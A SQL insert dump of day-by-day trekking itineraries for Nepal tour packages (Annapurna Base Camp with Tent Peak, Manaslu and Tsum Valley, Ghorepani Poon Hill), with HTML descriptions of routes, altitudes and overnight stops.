INSERT INTO `itenary_packages` (`id`, `title`, `description`, `package_id`, `created_at`, `updated_at`) VALUES
(9065, 'Kathmandu – Pokhara (Drive by Private Transport 6 hrs) Overnight at Hotel', '<p>We recommend you to drive by Private Transport to Pokhara. It takes 5-6 hrs to drive from Kathmandu with views of local villages, Rivers, Forests, Hills and Snowcapped Himalayan Peaks. The road drive goes along with Prithivi Highway with scenery of Trishuli River through Muglin, Khaireni, Dumre, Damauli and finally reach Pokhara. In the evening, you can have beautiful walk near Phewa Lake.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9066, 'Pokhara – Nayapul (1:30 hrs drive) – Trek to Ulleri (1500m 5-6 hrs walk, Overnight at Tea House', '<p>Today is the first day of your trekking in Annapurna region. Your trekking guide and porter will be with you till at the end of the trip. After breakfast in the hotel, we have 1:30 hrs drive to Nayapul from Pokhara and hike through local Gurung settlement with terrace field by following the River. Till we reach Tikhedunga, we have relax and comfortable walk and last destination of your trekking is completely climbing part. We can have first Mountain View from lower and we sleep in local tea house of upper Ulleri.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9067, 'Ulleri to Ghorepani (2800m, 5 hrs walk), Overnight at Tea house', '<p>You will have Jungle walk today with silence atmosphere. If you are trekking in spring, will have an amazing picture of blooming Rhododendron which makes whole Hill red. You will walk through Oak, Pine, Rhododendron and bamboo trek to Ghorepani. Ghorepani is the Good Place to see Annapurna Panoramic view. Even you meet other trekkers who come after crossing Annapurna Circuit Trek of Thorong-La Pass (5416m). Enjoy the sunset view from Ghorepani.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9068, 'Ghorepani to Tadapani (2570m 5 hrs walk), Overnight at Tea House', '<p>Early morning awakes up and hikes to Poon Hill to see the sunrise and Himalayan view of Dhaulagiri, Annapurna South, Hiunchuli, and Machhapuchhre. After breakfast in Ghorepani, your trekking trail goes to Tadapani via Gurung Hill and Deurali. Today also a great opportunity to see a panoramic view of Annapurna during the walk. Tadapani is a small Gurung settlement having few local Tea Houses.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9069, 'Tadapani to Chhomrong (2050m 6 hrs walk), Overnight at Tea House', '<p>First part of the trekking trail goes all the way to down to River after crossing the bridge we have ascending path through local villages and Rice field and finally straight trail to Chhomrong where we sleep there. Today, we can see beautiful view of Annapurna South, Hiunchuli and Machapuchare. Even we hike through local forest of Oak and rhododendron today while make ascending from Tadapani in the beginning.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9070, 'Chhomrong to Dhovan (2600m 6rs, walk) Overnight at Tea House', '<p>Morning, you have a great view of Annapurna South, Hiunchuli and Machhapuchare like Mirror. All mountains are in front of you with Mountain View breakfast. We walk to Bamboo with ascending and descending Hills through crossing suspension bridge. You will also have Jungle walk through Pine, Bamboo and Rhododendron forests and reach to Dovan.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9071, 'Dovan to Machhapuchhre Base Camp (3725m, 5hrs walk), Overnight at Tea House', '<p>Today is quite adventure day due to more than 1000m hike up to M.B.C. You have forest walk till Himalaya and hike to Deurali via Cave and Landslide Areas. From Deurali, there is no any Jungle walk, it is totally mountain area. In the evening, overnight in Machhapuchhre Base Camp.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9072, 'Machhapuchhre Base Camp to Annapurna Base Camp (4130m, 3hrs walk), Overnight at Tea House', '<p>Today is the final walk to your last destination in high altitude. It takes 3 hours to walk from MBC to ABC. There is a nice view of Annapurna South, Gangapurna, Machhapuchhre, Glacier Dom, and Hiunchuli. Overnight at Tea House of ABC. Enjoy the nice sunset from here. Near your Lodge, there is big Annapurna Glacier; be aware when you walk around.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9073, 'Annapurna Base Camp – Tent Peak Base Camp (4600m, 5 hrs walk) Overnight at Camping Tent', '<p>From here we will have short walking day as it is very important to avoid getting affected by the thinning of the air and get acclimatization to climb Tent peak. Our guide will give important and useful information about the situation on climbing Tent peak and about next day’s activities. From today the accommodation will be tented camp for next two days and you will be having camp food cooked by our professional cook. We cross the big Glacier which comes from the beneath of Annapurna I and then climb up to Tent Peak Base Camp. There is glacier walk so need to follow with climbing Guide for your safety.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9074, 'Tent Peak Base Camp – High Camp (5000m 4 hrs walk) Overnight at Camping Tent', '<p>A short day in order to acclimatize and adjust to the thinning of the air, we take a short trek around high camp and get ready for our adventure for next morning.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9075, 'Summit Tent Peak and Return to Base Camp (5700 meters 6-8 hrs Climb) Overnight at Camping Tent', '<p>Today is our main adventure day, an early morning to climb Tent peak but it all depends on the weather. After safe trip to the summit we make our way safely down then day back to Base Camp. The summit is located with an elevation of 5700 meters. The amazing view of Annapurna massif including Machapucaare, Gangapurna, Hiunchuli are the main Himalayan sights from the top. After having successful Tent peak climbing we return back to Base camp.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9076, 'Spare day (Overnight at Camping Tent)', '<p>We will have one day extra due to unexpected weather of reaching on base camp at unscheduled program. Also this day you can use for acclimatization either in Base Camp of high camp but if the weather is fantastic no need to make acclimatization.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9077, 'Base Camp – Deurali (6 hrs walk, Overnight at Tea House)', '<p>After having successful climb, we descend the path to Deurali. Today, we sleep in tea house of Deurali.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9078, 'Deurali to Chhomrong (Overnight at Tea House)', '<p>The trail passes the small village of Khuldi Gahr, before continuing through rhododendron and bamboo fields to the Alpine-style village of Chhomrong. Before reaching to Chhomrong, we cross Dhovan, Bamboo and sinuwa village.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9079, 'Chhomrong – Jhinu Danda (2 hrs walk Overnight at Tea house)', '<p>It is very short hiking down to Jhinu Danda from Chhomrong and after checking the Tea house we go to hot spring for relaxation which is situated in the Beach of Modi Khola River. Enjoy your hot shower in the pond.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9080, 'Jhinu Danda- Pokhara (1 hrs walk and 3 hrs by Jeep) Overnight at Hotel', '<p>We make short walk and find jeep drive to Pokhara city today.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9081, 'Pokhara - Kathmandu (25 minutes by Plane) Overnight at Tea House', '<p>Fly to Kathmandu from Pokhara by Plane; it takes a 25-minute fly to Kathmandu.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9082, 'Free day / shopping day in Kathmandu, Overnight at Hotel', '<p>After completing, Annapurna Circuit Trekking, you are free in Kathmandu or you can have shopping as gift of Nepal to your family and friends. You must be very tired after trekking, can also have good body massage in Spa center. You will feel free and explore local markets and also enjoy your time in good restaurant in Thamel.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9083, 'Departure to Respective Destination', '<p>Our staff help your departure to Tribhuvan International Airport for your respective destination. Hopefully, we will wait your recommendation and suggestion and also review about your trek to Annapurna Base Camp and tent peak climbign. Our Guide and Porters can wait for your next adventure journey to Nepal Himalaya. See you again and good bye.</p>', 54, '2025-02-26 02:49:20', '2025-02-26 02:49:20'),
(9084, 'Arrival at Kathmandu Airport, Transfer to Hotel, overnight there', '<p>Your adventure and cultural trip to Nepal begins after your arrival in Tribhuvan International Airport Kathmandu. After you will land, get your hand bag and go to immigration office where you can get your Nepal visa. There must be many people; need fill form before apply for visa and get down to 1st floor where you will wait your suitcase. After getting suitcase, go outside where our office member shows your Name in white paper sheet and transfer to Hotel. We have booked your hotel in Thamel which is the touristic hub of Nepal.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9085, 'Kathmandu Sightseeing and Trek Preparation, Overnight at Hotel', '<p>After breakfast, your cultural tour begins where our Guide will brief to you about whole Nepal including history, culture, people, religion, geography and living standard of People. You will visit popular world Heritage sites of Nepal such as Swyambhunath (Monkey Temple) - Hindu and Buddhist pilgrimage site, Patan Durbar Square – Old King Palace with Beautiful Temples and Houses, Pashupatinath Temple - popular Hindu temple of South Asia and Boudhanath Stupa – biggest Buddhist stupa with monastery around. It is full day guided city tour where you will learn most important historical and cultural things of Nepal. After you will return back to Hotel from sightseeing, meet with your Trekking Guide and brief about trekking program.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9086, 'Kathmandu – Soti Khola Drive (720m 6 hrs drive) Overnight at Tea House', '<p>After breakfast, we drive along with Kathmandu- Pokhara Highway (Prithivi highway) till Malekhu. From here, we leave this highway and turn right to Dhading Besi and again drive to Soti Khola via Salyantar, Arughat and Arkhet village having scenic view of hill life with their lifestyle. From Arughat, we drive near the bank of Budi Gandki River that comes from the base of Manaslu Himalaya. Soti Khola is small local settlement with few lodges where we spend our night.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9087, 'Soti Khola – Machha Khola (900 m 6 hrs walk) Overnight at Tea House', '<p>Today, we start our first day trekking in Manaslu region with our Guide and porters, the trekking trail begins by crossing suspension bridge of Soti Khoa and further walk ahead through Sal forest. We reach in Khursane and our trekking trail goes through waterfalls and reach to beautiful Gurung settlement of Lapu Besi. From here, we follow the rocky trail along with river bank of and again cross suspension bridge to reach Machha Khola.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9088, 'Machha Khola – Jagat (1410m 6 hrs walk) Overnight at Tea House', '<p>After breakfast, we continue our adventure hike to Jagat from Machha Khola, following narrow valley to Tharo Khola and reach to Khorlabesi. We have some up and down trail till Tatopani where you can have break to wash your hand face in hot spring. And again we climb another ridge and cross the Budi Gandaki suspension bridge, cross landslide area to reach Dhovan village. From here we walk to Tharo Bharyang crossing bridge over Yarkhu Khola and steep crafted trails. Then we cross the west bank of Budi Gandaki River, ascend to ridge walking alone with Budi Gandaki River to reach in Jagat village.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9089, 'Jagat – Lokpa (2440m 6-7 hrs walk) overnight at Tea House', '<p>We check our permits of Manaslu and Tsum valley at the Manaslu Conversation Area Project office and climb a ridge to Salleri along with Budhi Gandaki River bank, crossing suspension bridge. The trekking trail goes narrow valley and greenery to Philim which is a beautiful village settlement inhabited by Gurung ethnicity. Then, we move ahead to Ekle Bhatti from where we leave the main trail of Manaslu Circuit trek and enter by following the path of Tsum valley. We have peaceful trek to Lokpa via pine and rhododendron forest with beautiful waterfall in the route.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9090, 'Lokpa – Chumling (2385m 4 hrs walk) overnight at Tea House', '<p>Today, we begin our hike from Lokpa to Chumling which is situated at the south face of Shringhi Himal. Most of the trekking route goes uphill to Chumling. Beginning of the trail goes down to Lungwa Khola and again climb ZigZag trail through pine and rhododendrons forest until we reach Gumlung. We reach at chumling village after crossing the Siyar Hola River. From here we can have eye catching view of Shringi Himal and historical Chumling Compa, Mani Wall and chorten with Stone Street.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9091, 'Chumling – Chokhangparo (3010m 4 hrs walk)', '<p>Our destination today is from Chumling to Chokhangparo. It is beautiful village situated on flat land having two settlements Cheekam and Paro. We can having amazing view of Ganesh Himal, and Himal Chuli peak from here. During hiking, we cross the land of maize and potatoes with classical Tibetan barricades of firewood on the roof. It is very peaceful and silent nature walk having less crowded people on the way. After we reach in Chokhangparo, we meet the hospitable local friendly people who provide us Tibetan tea with local foods. This is amazing place to spend time with local people.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9092, 'Chokhangparo – Nile (3360m 5-6 hrs walk)', '<p>The trekking trail today ascends to Lama Gaon through Tibetan Buddhist Monastries, Gompa and Chortes. We explore Milarepa Cave here which is located 45 minutes hike from Lama Gaon. Milarepa, a Buddhist Guru came here from Tibet and mediated in this cave having his footprint inside cave. You feel more classical today due to having excursion of historical Gompas and monasteries. Then, we have beautiful walk passing through green meadows with fertile narrow valley. We can also see the local farmers working in the field harvesting potatoes and barley. We will continue our hike and reach to Nile, crossing suspension bridge over Shair Khola River.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9093, 'Nile – Mu Gompa (3700m) and Back to Nile (5-6 hrs walk)', '<p>The Nile village is the last Tibetan settlement located northern part of Tsum Valley. Today, we explore around Mu Gompa which is the largest and historical monastery of this remote part of Tsum valley. The monastery was established in the 1895 and having many religious books inside monastery with a huge status of Avalokiteshwara, Padmasambhava and Tara. We can also visit Dhephu Doma Gompa which is 600 years old Buddhist monastery. The trekking trail goes through Yak pastures through dry and Trans Himalayan Terrain. We will have beautiful scenery of mountain views, historical chortens and local houses. After exploring Mu Gumpa we return back to Nile and sleep in local Lodge.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9094, 'Mu Gompa – Rachen Gompa (3240m 3-4 hrs walk)', '<p>After exploring historical Tibetan Buddhist Monastery of Mu Gompa, we trek down to Rachen Gompa; a nunnery following the trails. Rachen Gompa is situated in the foot valley of mountain borders between Nepal and Tibet. Finally, we reach to Rachen Gompa crossing the Tibetan platinum and beautiful mountain valley. Rachen Gompa is one of the largest nunneries in the Tsum valley.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9095, 'Rachen Gompa – Gompa Lungdang (3200m 5-6 hrs walk)', '<p>Today, we trek from Rachen Gompa to Gompa Lungdang passing through Chhokangparo. We trek down through old trail toward Chumling and again descend down a narrow trail that passes through a Gompa by crossing bridge over Siyar Khola. We explore classical Tibetan culture walking through zigzag route and reach to Gompa Lungdang. The Gompa has fourty nuns and can see the ritual of Puja inside monastery. We will also enjoy the beautiful images of Himalayan sights.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9096, 'Gompa Lungdang – Ganesh Himal Base Camp (4200m 7-8 hrs walk)', '<p>The trekking destination today goes to Ganesh Himal Base Camp from Gompa Lungdang. We cross two beautiful valleys and continue climb through dense forest, seeing pasture and descend to the River side. We reach to Laudang Khola and climb steep pine and rhododendron forests before reaching to Kharha having large stone. From here, we will enjoy the beautiful greenery image with Torogumba Glacier and again continue climb up to Ganesh Himal Base Camp. After exploring Base Camp, we return back to Gompa Lungdang.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9097, 'Gompa Lungdang – Lokpa (2040m 6-7 hrs walk)', '<p>We will return down to Lokpa from Gompa Lungdang; it is all the way down via Laudang Khola River, Domje, Siyar Khola, dense forest of pine and rhododendron, Ripchet village and finally reach to Lokpa. It is quite lond day descend from Gompa Lungdang.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9098, 'Lokpa – Bihi Phedi (1990, 6-7 hrs walk)', '<p>Again, we will hike all the way down to Ekale Bhatti from Lokpa, following Budhi Gandaki River having beautiful mountain and forest scenery. We cross suspension bridges and also meet the main trail of Manaslu Cirucuit Trek and hike to Bihi Phedi.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9099, 'Bihi Phedi – Namrung (2630m 6-7 hrs walk)', '<p>Our adventure journey goes to Namrung from Bihi Phedi today. We pass colorful forests, lush vegetation painted Tibetan Mani wall and chortes till Ghap and further go ahead to Prok village from where can view amazing Sringi Himal. Then, we cross Budi Gandaki River many times having numerous Gompas and follow the upstream path through a dense forest leads a narrow gorge. We will have very peaceful and silent walk until we reach Namrung. Namrung is the best place to see Sringi Himal, Ganesh Himal, and Mt. Himal Chuli.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9100, 'Namrung – Lho (3180m 4 hrs walk) Overnight at Tea House', '<p>In the morning, we can enjoy amazing view of Sringi Himal, Ganesh Himal and Mt. Himal Chuli, then our trekking trail goes steadily up and pass through forest of Lihi. Lihi is a beautiful Tibetan village with many stuaps and chortens and even this village is equally popular for barley terraces. We can have Ganesh Himal view in very short distance. After having classical cultural experience of Lihi village, we trek to Lho from where we can explore first view of Mt. Manaslu. We will have enough time here and also encounter the historical Rebung Gompa of Lho.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9101, 'Lho – Samagaon (3530m 3 hrs walk) Overnight at Tea House', '<p>After breakfast in local lodge of Lho, we hike to beautiful village of Shyala from where can have stunning view of Mt. Manaslu, Himal Chuli, Nadi, Kutang Himal and more silver Himalayan peaks. The trail goes further ahead climb steadily via Yak pasture to Samagaon. Samagaon is a very beautiful settlement of Tibetan village having full of traditional houses, chortens, Mani wall, stupas and praying flags. It will be great opportunity to explore Tibetan culture and tradition here. We can see village women who are weaving wool, wearing traditional clothes and ornaments, men working in the field and children wandering around.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9102, 'Acclimatization day in Samagaon (3530m) Overnight at Tea House', '<p>Today is acclimatization day in Samagaon, to make physical body balance and avoid altitude sickness. Our guide takes you to explore around such as Birendra Lake and Anie Gompa. The main interesting part of Samagaon is to encounter Pungyn Gompa with amazing view of Himalayan glacier. Today, you have many choices to explore around, the highly rewarding hike to Manaslu Base Camp or hike to historical Pungen Gompa. But Birendra Lake is located nearby Samagaon village. During your stay in Samagaon, you feel as if you are hiking in 17th century and have unforgettable experience of Hidden Tibetan Buddhism.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9103, 'Samagaon – Samdo (3860m 4-5 hrs walk) Overnight at Tea House', '<p>After exploring beautiful Samagaon village, we hike to next classical settlement of Samdo village. We walk along with Budhi Gandaki River, cross suspension bridge and catch the main trekking route of Larkya La. The trekking trail is short but very gradual climb crossing Mani wall, juniper, and birch forests of Kermo Kharka and reach to Samdo. Samdo is popular for traditional Yak herding and it portray the classical Tibetan lifestyle who are rearing sheep and goats, exercise horses and cropping barley.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9104, 'Samdo – Dharmasala (4460m 4-5 hrs walk) Overnight at Tea House', '<p>First of all, we have descending path toward wooden bridge over Budhi Gandaki River via seasonal Tibetan Market called Larke Bazaar and start climb to Dharmasala. After having some brooks, we go across the Larkya glacier having scenery of dramatic gorge. From here, all the way climb to Dharmasala, located with an elevation of 4460m. Along the way, traditional monasteries makes your trip classical.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9105, 'Dharmasala – Bhimtang (3590m) Via Larkya La Pass ( 5160m) 9-10 hrs walk, Overnight at Tea House', '<p>Today is your main highlight of whole trip to Nepal due to adventure and exciting Himalayan cross of Larya La with breathtaking view of silver Mountain Peaks, Valleys and glaciers. Early morning our guide lead the way having short climb and reach on north side of Larkya glacier with amazing view of Larkya Peak. Before crossing the pass, we ascend the moraines of a glacier which is steep and vertical. Climbing up from Dharmasla is easier than hiking down from top of Larkya La to Bhimtang due to steep and sharp trekking route. From top of Larya La, we can have amazing picture of Himlung Himal(7,126m), Cheo Himal(6,820m) and massive Annapurna II(7,937m). Later, we will have all the way down to Bhimtang.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9106, 'Bhimtang – Tilije (2300m 5- 6 hrs walk) Overnight at Tea House', '<p>After breakfast, we hike to Tilje from Bhimtang with morning view of Mt. Manaslu, Lamjung Himal, Himlung Himal and Cheo Himal. Today, we walk through rhododendron forest and narrow valley by crossing the bridge over Dudh Khola River and follow trail until reach the highest cultivated land of the valley at Karche. We climb along with river bank that leads the trail to Gho village with short walk to Tilije from Gho.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9107, 'Tilije to Dharapani & Drive to Besisahar (760m) Overnight at Tea House', '<p>From Tilije, we have short and comfortable walk to Dharapani through beautiful local villages and cross again bridge over Dhudh Khola and reach to Thonje village. We pass the police checkpoint and continue walk to Dharpani village which is the trail to Annapurna circuit trek. We take lunch here and drive to Besisahar by Private jeep having off road.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9108, 'Besisahar- Kathmandu (5-6 hrs drive) Overnight at Tea Hotel', '<p>After breakfast, we drive to Kathmandu via Pokhara- Kathmandu hightway by private transport. It takes 6 hour drive having scenic view of Marsayngdi and Trishuli River with typical local villages and town. In the evening our director will invite to you having typical Nepali food with cultural local dance in Thamel. Enjoy your Nepali meal with folk song and dance with our director and also discuss about your trekking experience</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9109, 'Free day / Shopping day in Kathmandu, Overnight at Hotel', '<p>After completing, Gokyo Lake Trekking, you are free in Kathmandu or you can have shopping as gift of Nepal to your family and friends. You must be very tired after trekking, can also have good body massage in Spa center. You will feel free and explore local markets and also enjoy your time in good restaurant in Thamel.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9110, 'Departure to Respective Destination', '<p>Our staff help your departure to Tribhuvan International Airport for your respective destination. Hopefully, we will wait your recommendation and suggestion and also review about your trek to Everest Base Camp. Our Guide and Porters can wait for your next adventure journey to Nepal Himalaya. See you again and good bye.</p>', 30, '2025-02-26 02:49:43', '2025-02-26 02:49:43'),
(9111, 'Arrival at Kathmandu Airport, Transfer to Hotel, Overnight there', '<p>Your adventure and cultural trip to Nepal begins after your arrival in Tribhuvan International Airport Kathmandu. After you will land, get your hand bag and go to immigration office where you can get your Nepal visa. There must be many people; need fill form before apply for visa and get down to 1st floor where you will wait your suitcase. After getting suitcase, go outside where our office member shows your Name in white paper sheet and transfer to Hotel. We have booked your hotel in Thamel which is the touristic hub of Nepal.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9112, 'Kathmandu Sightseeing and Trek Preparation, Overnight at Hotel', '<p>After breakfast, your cultural tour begins where our Guide will brief to you about whole Nepal including history, culture, people, religion, geography and living standard of People. You will visit popular world Heritage sites of Nepal such as Swyambhunath (Monkey Temple) - Hindu and Buddhist pilgrimage site, Patan Durbar Square – Old King Palace with Beautiful Temples and Houses, Pashupatinath Temple - popular Hindu temple of South Asia and Boudhanath Stupa – biggest Buddhist stupa with monastery around. It is full day guided city tour where you will learn most important historical and cultural things of Nepal. After you will return back to Hotel from sightseeing, meet with your Trekking Guide and brief about trekking program.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9113, 'Kathmandu – Pokhara (Drive by Private Transport 6 hrs)', '<p>We recommend you to drive by Private Transport to Pokhara. It takes 5-6 hrs to drive from Kathmandu with views of local villages, Rivers, Forests, Hills and Snowcapped Himalayan Peaks. The road drive goes along with Prithivi Highway with scenery of Trishuli River through Muglin, Khaireni, Dumre, Damauli and finally reach Pokhara. In the evening, you can have beautiful walk near Phewa Lake.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9114, 'Pokhara – Nayapul (1:30 hrs drive) – Trek to Ulleri (1500m 5-6 hrs walk', '<p>Today is the first day of your trekking in Annapurna region. Your trekking guide and porter will be with you till at the end of the trip. After breakfast in the hotel, we have 1:30 hrs drive to Nayapul from Pokhara and hike through local Gurung settlement with terrace field by following the River. Till we reach Tikhedunga, we have relax and comfortable walk and last destination of your trekking is completely climbing part. We can have first Mountain View from lower and we sleep in local tea house of upper Ulleri.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9115, 'Ulleri to Ghorepani (2800m, 5 hrs walk)', '<p>You will have Jungle walk today with silence atmosphere. If you are trekking in spring, will have an amazing picture of blooming Rhododendron which makes whole Hill red. You will walk through Oak, Pine, Rhododendron and bamboo trek to Ghorepani. Ghorepani is the Good Place to see Annapurna Panoramic view. Even you meet other trekkers who come after crossing Annapurna Circuit Trek of Thorong-La Pass (5416m). Enjoy the sunset view from Ghorepani.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9116, 'Ghorepani to Tadapani (2570m 5 hrs walk)', '<p>Early morning awakes up and hikes to Poon Hill to see the sunrise and Himalayan view of Dhaulagiri, Annapurna South, Hiunchuli, and Machhapuchhre. After breakfast in Ghorepani, your trekking trail goes to Tadapani via Gurung Hill and Deurali. Today also a great opportunity to see a panoramic view of Annapurna during the walk. Tadapani is a small Gurung settlement having few local Tea Houses.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9117, 'Tadapani to Ghandruk (1940m 4hrs walk)', '<p>From Tadapani, we escape the main trail of Annapurna Base Camp and walk down to Ghandruk via Bhaisikharka which is one of the popular Gurung Village of Annapurna Region. It takes 4 hours to each to Ghandruk from Tadapani having silent atmosphere and forest walk with less crowded people. We will visit old Ghandruk village and Gurung Museum with magnificent view of Machhapuchare.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9118, 'Ghandruk to Pokhara (1 hrs wak 2: 30 hrs drive)', '<p>After exploring classical village settlement of Ghandruk, you will have very short downhill walk and drive to Pokhara by following Modi Khola River till Nayapul and again continue drive to Pokhara. You are free in the hotel or can have delicious dinner in the restaurant.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9119, 'Pokhara to Kathmandu by Plane (25 minute)', '<p>Fly to Kathmandu from Pokhara because you had already driven to Pokhara before from Kathmandu. Now we recommend you to fly to Kathmandu from Pokhara. Overnight in Kathmandu Hotel.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9120, 'Free day / Shopping day in Kathmandu, Overnight at Hotel', '<p>After completing, Annapurna Circuit Trekking, you are free in Kathmandu or you can have shopping as gift of Nepal to your family and friends. You must be very tired after trekking, can also have good body massage in Spa center. You will feel free and explore local markets and also enjoy your time in good restaurant in Thamel.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9121, 'Departure to Respective Destination', '<p>Our staff help your departure to Tribhuvan International Airport for your respective destination. Hopefully, we will wait your recommendation and suggestion and also review about your trek to Ghorepani Poonhi. Our Guide and Porters can wait for your next adventure journey to Nepal Himalaya. See you again and good bye.</p>', 19, '2025-02-26 02:50:03', '2025-02-26 02:50:03'),
(9122, 'Arrival at Kathmandu Airport, Transfer to Hotel, Overnight there', '<p>Your adventure and cultural trip to Nepal begins after your arrival in Tribhuvan International Airport Kathmandu. After you will land, get your hand bag and go to immigration office where you can get your Nepal visa. There must be many people; need fill form before apply for visa and get down to 1st floor where you will wait your suitcase. After getting suitcase, go outside where our office member shows your Name in white paper sheet and transfer to Hotel. We have booked your hotel in Thamel which is the touristic hub of Nepal.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9123, 'Kathmandu Sightseeing and Trek Preparation, Overnight at Hotel', '<p>After breakfast, your cultural tour begins where our Guide will brief to you about whole Nepal including history, culture, people, religion, geography and living standard of People. You will visit popular world Heritage sites of Nepal such as Swyambhunath (Monkey Temple) - Hindu and Buddhist pilgrimage site, Patan Durbar Square – Old King Palace with Beautiful Temples and Houses, Pashupatinath Temple - popular Hindu temple of South Asia and Boudhanath Stupa – biggest Buddhist stupa with monastery around. It is full day guided city tour where you will learn most important historical and cultural things of Nepal. After you will return back to Hotel from sightseeing, meet with your Trekking Guide and brief about trekking program.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9124, 'Kathmandu – Pokhara (Drive by Private Transport 6 hrs)', '<p>We recommend you to drive by Private Transport to Pokhara. It takes 5-6 hrs to drive from Kathmandu with views of local villages, Rivers, Forests, Hills and Snowcapped Himalayan Peaks. The road drive goes along with Prithivi Highway with scenery of Trishuli River through Muglin, Khaireni, Dumre, Damauli and finally reach Pokhara. In the evening, you can have beautiful walk near Phewa Lake.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9125, 'Pokhara – Nayapul (1:30 hrs drive) – Trek to Ulleri (1500m 5-6 hrs walk', '<p>Today is the first day of your trekking in Annapurna region. Your trekking guide and porter will be with you till at the end of the trip. After breakfast in the hotel, we have 1:30 hrs drive to Nayapul from Pokhara and hike through local Gurung settlement with terrace field by following the River. Till we reach Tikhedunga, we have relax and comfortable walk and last destination of your trekking is completely climbing part. We can have first Mountain View from lower and we sleep in local tea house of upper Ulleri.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9126, 'Ulleri to Ghorepani (2800m, 5 hrs walk)', '<p>You will have Jungle walk today with silence atmosphere. If you are trekking in spring, will have an amazing picture of blooming Rhododendron which makes whole Hill red. You will walk through Oak, Pine, Rhododendron and bamboo trek to Ghorepani. Ghorepani is the Good Place to see Annapurna Panoramic view. Even you meet other trekkers who come after crossing Annapurna Circuit Trek of Thorong-La Pass (5416m). Enjoy the sunset view from Ghorepani.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9127, 'Ghorepani to Tadapani (2570m 5 hrs walk)', '<p>Early morning awakes up and hikes to Poon Hill to see the sunrise and Himalayan view of Dhaulagiri, Annapurna South, Hiunchuli, and Machhapuchhre. After breakfast in Ghorepani, your trekking trail goes to Tadapani via Gurung Hill and Deurali. Today also a great opportunity to see a panoramic view of Annapurna during the walk. Tadapani is a small Gurung settlement having few local Tea Houses.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
(9128, 'Tadapani to Chhomrong (2050m 6 hrs walk)', '<p>First part of the trekking trail goes all the way to down to River after crossing the bridge we have ascending path through local villages and Rice field and finally straight trail to Chhomrong where we sleep there. Today, we can see beautiful view of Annapurna South, Hiunchuli and Machapuchare. Even we hike through local forest of Oak and rhododendron today while make ascending from Tadapani in the beginning.</p>', 16, '2025-02-26 02:50:16', '2025-02-26 02:50:16'),
